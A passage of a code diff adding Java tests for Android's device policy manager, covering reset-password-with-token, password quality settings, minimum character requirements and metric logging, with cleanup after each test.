+    private static final String RESET_PASSWORD_TOKEN_DISABLED =
+            "Cannot reset password token as it is disabled for the primary user";
+
+    private static final Context sContext = TestApis.context().instrumentedContext();
+    private final KeyguardManager sLocalKeyguardManager =
+            sContext.getSystemService(KeyguardManager.class);
+
+    @ClassRule
+    @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    public void setResetPasswordToken_validToken_passwordTokenSet() {
+        try {
+            boolean possible = canSetResetPasswordToken(TOKEN);
+
+            assertThat(sDeviceState.dpc().devicePolicyManager().isResetPasswordTokenActive(
+                    DPC_COMPONENT_NAME) || !possible).isTrue();
+        } finally {
+            // Remove password token
+            sDeviceState.dpc().devicePolicyManager().clearResetPasswordToken(DPC_COMPONENT_NAME);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = ResetPasswordWithToken.class)
+    public void resetPasswordWithToken_validPasswordAndToken_success() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            assertThat(sDeviceState.dpc().devicePolicyManager().resetPasswordWithToken(
+                    DPC_COMPONENT_NAME, VALID_PASSWORD, TOKEN, /* flags = */ 0)).isTrue();
+        } finally {
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = ResetPasswordWithToken.class)
+    public void resetPasswordWithToken_badToken_failure() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        assertThat(sDeviceState.dpc().devicePolicyManager().resetPasswordWithToken(
+                DPC_COMPONENT_NAME, VALID_PASSWORD, BAD_TOKEN, /* flags = */ 0)).isFalse();
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    public void resetPasswordWithToken_noPassword_deviceIsNotSecure() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        sDeviceState.dpc().devicePolicyManager().resetPasswordWithToken(
+                DPC_COMPONENT_NAME, /* password = */ null, TOKEN, /* flags = */ 0);
+
+        // Device is not secure when no password is set
+        assertThat(sLocalKeyguardManager.isDeviceSecure()).isFalse();
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    public void resetPasswordWithToken_password_deviceIsSecure() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            sDeviceState.dpc().devicePolicyManager().resetPasswordWithToken(
+                    DPC_COMPONENT_NAME, VALID_PASSWORD, TOKEN, /* flags = */ 0);
+
+            // Device is secure when a password is set
+            assertThat(sLocalKeyguardManager.isDeviceSecure()).isTrue();
+        } finally {
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    // setPasswordQuality is unsupported on automotive
+    @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+    public void resetPasswordWithToken_passwordDoesNotSatisfyRestriction_failure() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            // Add complex password restriction
+            sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
+                    DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
+            setComplexPasswordRestrictions(/* minLength */ 6,
+                    /* minSymbols */ 0,
+                    /* minNonLetter */ 0,
+                    /* minNumeric */ 0,
+                    /* minLetters */ 0,
+                    /* minLowerCase */ 0,
+                    /* minUpperCase */ 0);
+
+            // Password cannot be set as it does not satisfy the password restriction
+            assertThat(sDeviceState.dpc().devicePolicyManager().resetPasswordWithToken(
+                    DPC_COMPONENT_NAME, NOT_COMPLEX_PASSWORD, TOKEN, /* flags = */ 0)).isFalse();
+        } finally {
+            removeAllPasswordRestrictions();
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    // setPasswordQuality is unsupported on automotive
+    @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+    public void resetPasswordWithToken_passwordSatisfiesRestriction_success() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            // Add complex password restriction
+            sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
+                    DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
+            setComplexPasswordRestrictions(/* minLength */ 6,
+                    /* minSymbols */ 0,
+                    /* minNonLetter */ 0,
+                    /* minNumeric */ 0,
+                    /* minLetters */ 0,
+                    /* minLowerCase */ 0,
+                    /* minUpperCase */ 0);
+
+            // Password can be set as it satisfies the password restriction
+            assertThat(sDeviceState.dpc().devicePolicyManager().resetPasswordWithToken(
+                    DPC_COMPONENT_NAME, COMPLEX_PASSWORD_WITH_SYMBOL_LENGTH_7, TOKEN,
+                    /* flags = */ 0)).isTrue();
+        } finally {
+            removeAllPasswordRestrictions();
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = ResetPasswordWithToken.class)
+    public void resetPasswordWithToken_validPasswordAndToken_logged() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try (EnterpriseMetricsRecorder metrics = EnterpriseMetricsRecorder.create()) {
+            sDeviceState.dpc().devicePolicyManager().resetPasswordWithToken(
+                    DPC_COMPONENT_NAME, VALID_PASSWORD, TOKEN, /* flags = */ 0);
+
+            assertThat(metrics.query()
+                    .whereType().isEqualTo(EventId.RESET_PASSWORD_WITH_TOKEN_VALUE)
+                    .whereAdminPackageName().isEqualTo(
+                            sDeviceState.dpc().componentName().getPackageName())).wasLogged();
+        } finally {
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    // setPasswordQuality is unsupported on automotive
+    @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+    public void isActivePasswordSufficient_passwordDoesNotSatisfyRestriction_false() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            sDeviceState.dpc().devicePolicyManager().resetPasswordWithToken(
+                    DPC_COMPONENT_NAME, NOT_COMPLEX_PASSWORD, TOKEN, /* flags = */ 0);
+            // Add complex password restriction
+            sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
+                    DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
+            setComplexPasswordRestrictions(/* minLength */ 6,
+                    /* minSymbols */ 0,
+                    /* minNonLetter */ 0,
+                    /* minNumeric */ 0,
+                    /* minLetters */ 0,
+                    /* minLowerCase */ 0,
+                    /* minUpperCase */ 0);
+
+            // Password is insufficient because it does not satisfy the password restriction
+            assertThat(sDeviceState.dpc().devicePolicyManager()
+                    .isActivePasswordSufficient()).isFalse();
+        } finally {
+            removeAllPasswordRestrictions();
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    // setPasswordQuality is unsupported on automotive
+    @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+    public void isActivePasswordSufficient_passwordSatisfiesRestriction_true() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            sDeviceState.dpc().devicePolicyManager().resetPasswordWithToken(DPC_COMPONENT_NAME,
+                    COMPLEX_PASSWORD_WITH_SYMBOL_LENGTH_7, TOKEN, /* flags = */ 0);
+            // Add complex password restriction
+            sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
+                    DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
+            setComplexPasswordRestrictions(/* minLength */ 6,
+                    /* minSymbols */ 0,
+                    /* minNonLetter */ 0,
+                    /* minNumeric */ 0,
+                    /* minLetters */ 0,
+                    /* minLowerCase */ 0,
+                    /* minUpperCase */ 0);
+
+            // Password is sufficient because it satisfies the password restriction
+            assertThat(sDeviceState.dpc().devicePolicyManager()
+                    .isActivePasswordSufficient()).isTrue();
+        } finally {
+            removeAllPasswordRestrictions();
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    // setPasswordQuality is unsupported on automotive
+    @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+    public void isActivePasswordSufficient_passwordNoLongerSatisfiesRestriction_false() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            sDeviceState.dpc().devicePolicyManager().setPasswordQuality(DPC_COMPONENT_NAME,
+                    PASSWORD_QUALITY_COMPLEX);
+            setComplexPasswordRestrictions(/* minLength */ 0,
+                    /* minSymbols */ 1,
+                    /* minNonLetter */ 0,
+                    /* minNumeric */ 0,
+                    /* minLetters */ 0,
+                    /* minLowerCase */ 0,
+                    /* minUpperCase */ 0);
+            sDeviceState.dpc().devicePolicyManager().resetPasswordWithToken(DPC_COMPONENT_NAME,
+                    COMPLEX_PASSWORD_WITH_SYMBOL_LENGTH_7, TOKEN, /* flags = */ 0);
+            // Set a slightly stronger password restriction
+            sDeviceState.dpc().devicePolicyManager().setPasswordMinimumSymbols(
+                    DPC_COMPONENT_NAME, 2);
+
+            // Password is no longer sufficient because it does not satisfy the new restriction
+            assertThat(sDeviceState.dpc().devicePolicyManager()
+                    .isActivePasswordSufficient()).isFalse();
+        } finally {
+            removeAllPasswordRestrictions();
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = ResetPasswordWithToken.class)
+    // setPasswordQuality is unsupported on automotive
+    @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+    public void setPasswordQuality_success() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
+                    DPC_COMPONENT_NAME, PASSWORD_QUALITY_SOMETHING);
+
+            assertThat(sDeviceState.dpc().devicePolicyManager().getPasswordQuality(
+                    DPC_COMPONENT_NAME)).isEqualTo(PASSWORD_QUALITY_SOMETHING);
+        } finally {
+            removeAllPasswordRestrictions();
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    // setPasswordQuality is unsupported on automotive
+    @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+    public void setPasswordQuality_something_passwordWithAMinLengthOfFourRequired() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
+                    DPC_COMPONENT_NAME, PASSWORD_QUALITY_SOMETHING);
+
+            assertPasswordSucceeds(NUMERIC_PASSWORD_LENGTH_4);
+            assertPasswordSucceeds(ALPHABETIC_PASSWORD_LENGTH_4);
+            assertPasswordSucceeds(ALPHANUMERIC_PASSWORD_LENGTH_4);
+            assertPasswordFails(NUMERIC_PASSWORD_LENGTH_3); // Password too short
+            assertPasswordFails(/* password = */ null);
+        } finally {
+            removeAllPasswordRestrictions();
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    // setPasswordQuality is unsupported on automotive
+    @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+    public void setPasswordQuality_numeric_passwordWithAtLeastOneNumberOrLetterRequired() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
+                    DPC_COMPONENT_NAME, PASSWORD_QUALITY_NUMERIC);
+
+            assertPasswordSucceeds(NUMERIC_PASSWORD_LENGTH_4);
+            assertPasswordSucceeds(ALPHANUMERIC_PASSWORD_LENGTH_4);
+            assertPasswordSucceeds(ALPHABETIC_PASSWORD_LENGTH_4);
+            assertPasswordFails(NUMERIC_PASSWORD_LENGTH_3); // Password too short
+        } finally {
+            removeAllPasswordRestrictions();
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    // setPasswordQuality is unsupported on automotive
+    @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+    public void setPasswordQuality_alphabetic_passwordWithAtLeastOneLetterRequired() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
+                    DPC_COMPONENT_NAME, PASSWORD_QUALITY_ALPHABETIC);
+
+            assertPasswordSucceeds(ALPHABETIC_PASSWORD_LENGTH_4);
+            assertPasswordSucceeds(ALPHANUMERIC_PASSWORD_LENGTH_4);
+            assertPasswordFails(NUMERIC_PASSWORD_LENGTH_4);
+        } finally {
+            removeAllPasswordRestrictions();
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    // setPasswordQuality is unsupported on automotive
+    @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+    public void setPasswordQuality_alphanumeric_passwordWithBothALetterAndANumberRequired() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
+                    DPC_COMPONENT_NAME, PASSWORD_QUALITY_ALPHANUMERIC);
+
+            assertPasswordSucceeds(ALPHANUMERIC_PASSWORD_LENGTH_4);
+            assertPasswordFails(NUMERIC_PASSWORD_LENGTH_4);
+            assertPasswordFails(ALPHABETIC_PASSWORD_LENGTH_4);
+        } finally {
+            removeAllPasswordRestrictions();
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    // setPasswordQuality is unsupported on automotive
+    @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+    public void setPasswordQuality_complex_passwordWithAMinLengthOfFourRequired() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
+                    DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
+            setComplexPasswordRestrictions(/* minLength */ 0,
+                    /* minSymbols */ 0,
+                    /* minNonLetter */ 0,
+                    /* minNumeric */ 0,
+                    /* minLetters */ 0,
+                    /* minLowerCase */ 0,
+                    /* minUpperCase */ 0);
+
+            assertPasswordSucceeds(ALPHANUMERIC_PASSWORD_LENGTH_4);
+            assertPasswordSucceeds(ALPHABETIC_PASSWORD_LENGTH_4);
+            assertPasswordFails(NUMERIC_PASSWORD_LENGTH_3); // Password too short
+        } finally {
+            removeAllPasswordRestrictions();
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = ResetPasswordWithToken.class)
+    // setPasswordMinimumLength is unsupported on automotive
+    @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+    public void setPasswordMinimumLength_success() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            sDeviceState.dpc().devicePolicyManager()
+                    .setPasswordMinimumLength(DPC_COMPONENT_NAME, 4);
+
+            assertThat(sDeviceState.dpc().devicePolicyManager()
+                    .getPasswordMinimumLength(DPC_COMPONENT_NAME)).isEqualTo(4);
+        } finally {
+            removeAllPasswordRestrictions();
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    // setPasswordQuality is unsupported on automotive
+    @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+    public void setPasswordMinimumLength_six_passwordWithAMinLengthOfSixRequired() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            // The restriction is only imposed if PASSWORD_QUALITY_COMPLEX is set
+            sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
+                    DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
+            setComplexPasswordRestrictions(/* minLength */ 6,
+                    /* minSymbols */ 0,
+                    /* minNonLetter */ 0,
+                    /* minNumeric */ 0,
+                    /* minLetters */ 0,
+                    /* minLowerCase */ 0,
+                    /* minUpperCase */ 0);
+
+            assertPasswordSucceeds(COMPLEX_PASSWORD_WITH_SYMBOL_LENGTH_7);
+            assertPasswordFails(COMPLEX_PASSWORD_WITH_SYMBOL_LENGTH_4);
+        } finally {
+            removeAllPasswordRestrictions();
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    // setPasswordMinimumUpperCase is unsupported on automotive
+    @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+    @CanSetPolicyTest(policy = ResetPasswordWithToken.class)
+    public void setPasswordMinimumUpperCase_success() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            sDeviceState.dpc().devicePolicyManager()
+                    .setPasswordMinimumUpperCase(DPC_COMPONENT_NAME, 1);
+
+            assertThat(sDeviceState.dpc().devicePolicyManager()
+                    .getPasswordMinimumUpperCase(DPC_COMPONENT_NAME)).isEqualTo(1);
+        } finally {
+            removeAllPasswordRestrictions();
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    // setPasswordQuality is unsupported on automotive
+    @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+    public void setPasswordMinimumUpperCase_one_passwordWithAtLeastOneUpperCaseLetterRequired() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            // The restriction is only imposed if PASSWORD_QUALITY_COMPLEX is set
+            sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
+                    DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
+            setComplexPasswordRestrictions(/* minLength */ 0,
+                    /* minSymbols */ 0,
+                    /* minNonLetter */ 0,
+                    /* minNumeric */ 0,
+                    /* minLetters */ 0,
+                    /* minLowerCase */ 0,
+                    /* minUpperCase */ 1);
+
+            assertPasswordSucceeds(ALPHANUMERIC_PASSWORD_WITH_UPPERCASE_LENGTH_4);
+            assertPasswordFails(ALPHANUMERIC_PASSWORD_LENGTH_4);
+        } finally {
+            removeAllPasswordRestrictions();
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    // setPasswordMinimumLowerCase is unsupported on automotive
+    @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+    @CanSetPolicyTest(policy = ResetPasswordWithToken.class)
+    public void setPasswordMinimumLowerCase_success() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            sDeviceState.dpc().devicePolicyManager()
+                    .setPasswordMinimumLowerCase(DPC_COMPONENT_NAME, 1);
+
+            assertThat(sDeviceState.dpc().devicePolicyManager()
+                    .getPasswordMinimumLowerCase(DPC_COMPONENT_NAME)).isEqualTo(1);
+        } finally {
+            removeAllPasswordRestrictions();
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    // setPasswordQuality is unsupported on automotive
+    @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+    public void setPasswordMinimumLowerCase_one_passwordWithAtLeaseOneLowerCaseLetterRequired() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            // The restriction is only imposed if PASSWORD_QUALITY_COMPLEX is set
+            sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
+                    DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
+            setComplexPasswordRestrictions(/* minLength */ 0,
+                    /* minSymbols */ 0,
+                    /* minNonLetter */ 0,
+                    /* minNumeric */ 0,
+                    /* minLetters */ 0,
+                    /* minLowerCase */ 1,
+                    /* minUpperCase */ 0);
+
+            assertPasswordSucceeds(ALPHANUMERIC_PASSWORD_LENGTH_4);
+            assertPasswordFails(ALPHABETIC_PASSWORD_ALL_UPPERCASE_LENGTH_4);
+        } finally {
+            removeAllPasswordRestrictions();
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = ResetPasswordWithToken.class)
+    public void setPasswordMinimumLetters_success() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            sDeviceState.dpc().devicePolicyManager()
+                    .setPasswordMinimumLetters(DPC_COMPONENT_NAME, 1);
+
+            assertThat(sDeviceState.dpc().devicePolicyManager()
+                    .getPasswordMinimumLetters(DPC_COMPONENT_NAME)).isEqualTo(1);
+        } finally {
+            removeAllPasswordRestrictions();
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    // setPasswordQuality is unsupported on automotive
+    @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+    public void setPasswordMinimumLetters_one_passwordWithAtLeastOneLetterRequired() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            // The restriction is only imposed if PASSWORD_QUALITY_COMPLEX is set
+            sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
+                    DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
+            setComplexPasswordRestrictions(/* minLength */ 0,
+                    /* minSymbols */ 0,
+                    /* minNonLetter */ 0,
+                    /* minNumeric */ 0,
+                    /* minLetters */ 1,
+                    /* minLowerCase */ 0,
+                    /* minUpperCase */ 0);
+
+            assertPasswordSucceeds(ALPHANUMERIC_PASSWORD_LENGTH_4);
+            assertPasswordFails(NUMERIC_PASSWORD_LENGTH_4);
+        } finally {
+            removeAllPasswordRestrictions();
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = ResetPasswordWithToken.class)
+    public void setPasswordMinimumNumeric_success() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            sDeviceState.dpc().devicePolicyManager()
+                    .setPasswordMinimumNumeric(DPC_COMPONENT_NAME, 1);
+
+            assertThat(sDeviceState.dpc().devicePolicyManager()
+                    .getPasswordMinimumNumeric(DPC_COMPONENT_NAME)).isEqualTo(1);
+        } finally {
+            removeAllPasswordRestrictions();
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    // setPasswordQuality is unsupported on automotive
+    @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+    public void setPasswordMinimumNumeric_one_passwordWithAtLeastOneNumberRequired() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            // The restriction is only imposed if PASSWORD_QUALITY_COMPLEX is set
+            sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
+                    DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
+            setComplexPasswordRestrictions(/* minLength */ 0,
+                    /* minSymbols */ 0,
+                    /* minNonLetter */ 0,
+                    /* minNumeric */ 1,
+                    /* minLetters */ 0,
+                    /* minLowerCase */ 0,
+                    /* minUpperCase */ 0);
+
+            assertPasswordSucceeds(ALPHANUMERIC_PASSWORD_LENGTH_4);
+            assertPasswordFails(ALPHABETIC_PASSWORD_LENGTH_4);
+        } finally {
+            removeAllPasswordRestrictions();
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = ResetPasswordWithToken.class)
+    public void setPasswordMinimumSymbols_success() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            sDeviceState.dpc().devicePolicyManager()
+                    .setPasswordMinimumSymbols(DPC_COMPONENT_NAME, 1);
+
+            assertThat(sDeviceState.dpc().devicePolicyManager()
+                    .getPasswordMinimumSymbols(DPC_COMPONENT_NAME)).isEqualTo(1);
+        } finally {
+            removeAllPasswordRestrictions();
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    // setPasswordQuality is unsupported on automotive
+    @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+    public void setPasswordMinimumSymbols_one_passwordWithAtLeastOneSymbolRequired() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            // The restriction is only imposed if PASSWORD_QUALITY_COMPLEX is set
+            sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
+                    DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
+            setComplexPasswordRestrictions(/* minLength */ 0,
+                    /* minSymbols */ 1,
+                    /* minNonLetter */ 0,
+                    /* minNumeric */ 0,
+                    /* minLetters */ 0,
+                    /* minLowerCase */ 0,
+                    /* minUpperCase */ 0);
+
+            assertPasswordSucceeds(COMPLEX_PASSWORD_WITH_SYMBOL_LENGTH_4);
+            assertPasswordFails(ALPHANUMERIC_PASSWORD_LENGTH_4);
+            assertPasswordFails(ALPHABETIC_PASSWORD_LENGTH_4);
+        } finally {
+            removeAllPasswordRestrictions();
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    // setPasswordMinimumNonLetter is unsupported on automotive
+    @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+    @CanSetPolicyTest(policy = ResetPasswordWithToken.class)
+    public void setPasswordMinimumNonLetter_success() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            sDeviceState.dpc().devicePolicyManager()
+                    .setPasswordMinimumNonLetter(DPC_COMPONENT_NAME, 1);
+
+            assertThat(sDeviceState.dpc().devicePolicyManager()
+                    .getPasswordMinimumNonLetter(DPC_COMPONENT_NAME)).isEqualTo(1);
+        } finally {
+            removeAllPasswordRestrictions();
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    // setPasswordQuality is unsupported on automotive
+    @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+    public void setPasswordMinimumNonLetter_one_passwordWithAtLeastOneNonLetterRequired() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            // The restriction is only imposed if PASSWORD_QUALITY_COMPLEX is set
+            sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
+                    DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
+            setComplexPasswordRestrictions(/* minLength */ 0,
+                    /* minSymbols */ 0,
+                    /* minNonLetter */ 1,
+                    /* minNumeric */ 0,
+                    /* minLetters */ 0,
+                    /* minLowerCase */ 0,
+                    /* minUpperCase */ 0);
+
+            assertPasswordSucceeds(COMPLEX_PASSWORD_WITH_SYMBOL_LENGTH_4);
+            assertPasswordSucceeds(ALPHANUMERIC_PASSWORD_LENGTH_4);
+            assertPasswordFails(ALPHABETIC_PASSWORD_LENGTH_4);
+        } finally {
+            removeAllPasswordRestrictions();
+            removePasswordAndToken(TOKEN);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @PositivePolicyTest(policy = ResetPasswordWithToken.class)
+    // setPasswordQuality is unsupported on automotive
+    @RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+    public void setRequiredPasswordComplexity_passwordQualityAlreadySet_clearsPasswordQuality() {
+        assumeTrue(RESET_PASSWORD_TOKEN_DISABLED, canSetResetPasswordToken(TOKEN));
+        try {
+            sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
+                    DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
+            sDeviceState.dpc().devicePolicyManager().setRequiredPasswordComplexity(
+                    PASSWORD_COMPLEXITY_MEDIUM);
+
+            assertThat(sDeviceState.dpc().devicePolicyManager().getPasswordQuality(
